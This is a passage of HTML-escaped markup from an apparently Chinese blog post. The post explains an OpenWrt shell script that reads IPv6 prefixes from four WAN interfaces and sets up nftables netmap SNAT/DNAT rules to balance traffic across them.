&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;14&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add table ip6 balance_netmap
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add set ip6 balance_netmap pds { type ipv6_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\;&lt;&#x2F;span&gt;&lt;span&gt; flags interval&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\;&lt;&#x2F;span&gt;&lt;span&gt; comment &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;all ipv6 pd of interfaces&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot; \; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;17&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft flush set ip6 balance_netmap pds
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;19&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;22&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3 &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;23&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;24&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add chain ip6 balance_netmap srcnat { type nat hook postrouting priority srcnat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;25&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft flush chain ip6 balance_netmap srcnat
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;26&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;27&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac0 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac1 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;29&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac2 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;30&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname eth1mac3 ip6 saddr @pds snat ip6 saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;31&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;32&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} masquerade
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;33&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} saddr {$ip0, $ip1, $ip2, $ip3} masquerade
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;34&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;35&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add chain ip6 balance_netmap dctnat { type nat hook prerouting priority dstnat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;36&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft flush chain ip6 balance_netmap dctnat
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;37&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add rule ip6 balance_netmap dctnat ip6 daddr @pds dnat ip6 daddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面看看上面脚本都干了什么。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码拿到了每个接口的ip和网段，这里获取网段的方式是看路由表的第一条的来源地址。这会导致如果上游没有下发网段，拿到的网段就是它自己的ip。因此下面的脚本中需要判断网段是否以&lt;code&gt;&#x2F;64&lt;&#x2F;code&gt;结尾。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add table ip6 balance_netmap
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面这一行创建了一个名字叫&lt;code&gt;balance_netmap&lt;&#x2F;code&gt;类型为ipv6的表。&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add set ip6 balance_netmap pds { type ipv6_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\;&lt;&#x2F;span&gt;&lt;span&gt; flags interval&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\;&lt;&#x2F;span&gt;&lt;span&gt; comment &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;all ipv6 pd of interfaces&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\&amp;quot; \; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;17&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft flush set ip6 balance_netmap pds
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;19&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== *&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;nft add element ip6 balance_netmap pds { $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0 &lt;&#x2F;span&gt;&lt;span&gt;}
